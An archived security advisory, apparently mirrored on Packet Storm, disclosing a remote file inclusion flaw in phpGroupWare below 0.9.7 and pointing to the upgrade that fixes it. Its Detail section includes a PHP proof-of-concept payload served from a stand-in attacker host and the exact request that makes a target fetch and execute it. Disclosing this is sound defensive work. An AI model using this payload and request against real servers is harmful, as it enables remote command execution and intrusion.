what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SRADV00006.txt

SRADV00006.txt
Posted Dec 7, 2000
Authored by Secure Reality | Site securereality.com.au

Secure Reality Pty Ltd. Security Advisory #6 - phpGroupWare is a multi-user web based groupware suite written in PHP. Versions below 0.9.7 under Unix make insecure calls to the include() function of PHP which can allow the inclusion of remote files, and thereby the execution of arbitrary commands on the remote web server with the permissions of the web server user, usually 'nobody'. Fix available here.

tags | exploit, remote, web, arbitrary, php
systems | unix
SHA-256 | 6726f2b4b34f81a4e34dba7e545c1d74926ef384ea62801eb1b9a0aae10a731a

SRADV00006.txt

Change Mirror Download
=================================================
Secure Reality Pty Ltd. Security Advisory #6 (SRADV00006)
http://www.securereality.com.au
=================================================

[Title]
Remote command execution vulnerabilities in phpGroupWare

[Released]
6/11/2000

[Vulnerable]
Versions below 0.9.7 under Unix

[Overview]
phpGroupWare is a multi-user web based groupware suite written in PHP.
phpGroupWare is quite popular due to its integration of many aspects of
group cooperation: email, calendaring, file sharing, to do lists, etc.

phpGroupWare makes insecure calls to the include() function of PHP which can
allow the inclusion of remote files, and thereby the execution of arbitrary
commands on the remote web server with the permissions of the web server
user, usually 'nobody'

[Impact]
Remote command execution (with privileges as above)

[Detail]
This is an excellent example of another aspect of the remotely accessible
include files issue that has been discussed in detail recently. The
discussion has centered around the sensitive information that can be
contained in include files and the fact that include files generally have
the extension 'inc' and thus, if web accessible, are returned to the
requestor in plain text.

A common solution amongst freely available php scripts is to give include
files the extension .inc.php. This causes the include file to always be
processed by the PHP interpreter and therefore not return in plain text
sensitive configuration information, like database passwords. Thus these
programs can have easy installation (untar everything into the web space)
without worrying about configuration disclosure.

The problem however then becomes one of context. Code and configuration
variables in include files tend to be highly interdependent, that is,
certain files and data must have already been included before including a
particular file. By directly requesting the files we can break the
interdependence chain and cause data the include files could normally trust
to become untrustworthy.

Which leads us to the phpGroupWare vulnerability. We can directly request
the library include files that make up the phpGroupWare API, one of these
files, phpgw.inc.php performs an include based on variables that should have
been set as part of the call chain. By providing them ourselves we can
determine the initial part of the following include statement:

include($phpgw_info["server"]["include_root"] .
"/phpgwapi/phpgw_info.inc.php");

By providing $phpgw_info[server][include_root] as a form variable that
points to a remote web server on which we can place files, we can get the
script to retrieve /phpgwapi/phpgw_info.inc.php from that server and execute
it.

For example, if I had access to place files in a webspace
http://evilhost.com/~shaun/ I would create a directory "phpgwapi" and place
inside it a script called phpgw_info.inc.php with content like the
following:

<?php

// PHP code to be executed
$phpcode = '
echo("Hi there!<BR>");
passthru("id");
';

// If we were called via remote include, send the code to be
// executed
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
echo("<?php $phpcode ?>");
else
// Otherwise we're being executed on the target web server already,
// so simply evaluate the code
eval($phpcode);

exit();

?>

(This script is designed so that the server it is placed on can be PHP
enabled and not result in the code being executed on the attacking machine)

If we then make a request to the target machine like the following:

/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=ht
tp://evilhost.com/~shaun

The code should be retrieved and executed.

It should be noted there are some caveats to this attack:
- The remote web server must be able to retrieve the file, i.e no firewalls
in the way
- The remote web server must not be running PHP under Windows since remote
file includes are not supported on this platform
- The remote web server must be running a sufficiently recent version of PHP
that [][] form variables are allowed
- The remote web server must not have allow_url_fopen set off
- Later versions of phpGroupWare check the variable
$phpgw_info["server"]["header_version"] in phpgw.inc.php, for those versions
we need to provide that via form variables too

There may well be others based on other versions/configurations of PHP.

[Fix]
Please upgrade to the latest version of phpGroupWare (0.9.7) at
http://sourceforge.net/project/showfiles.php?group_id=7305

[Acknowledgements]
Our thanks to all of the developers of phpGroupWare, in particular Dan
Kuykendall, for their assistance in quickly correcting this issue.

[Disclaimer]
Advice, directions and instructions on security vulnerabilities in this
advisory do not constitute: an endorsement of illegal behavior; a guarantee
that protection measures will work; an endorsement of any product or
solution or recommendations on behalf of Secure Reality Pty Ltd. Content is
provided as is and Secure Reality Pty Ltd does not accept responsibility for
any damage or injury caused as a result of its use.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close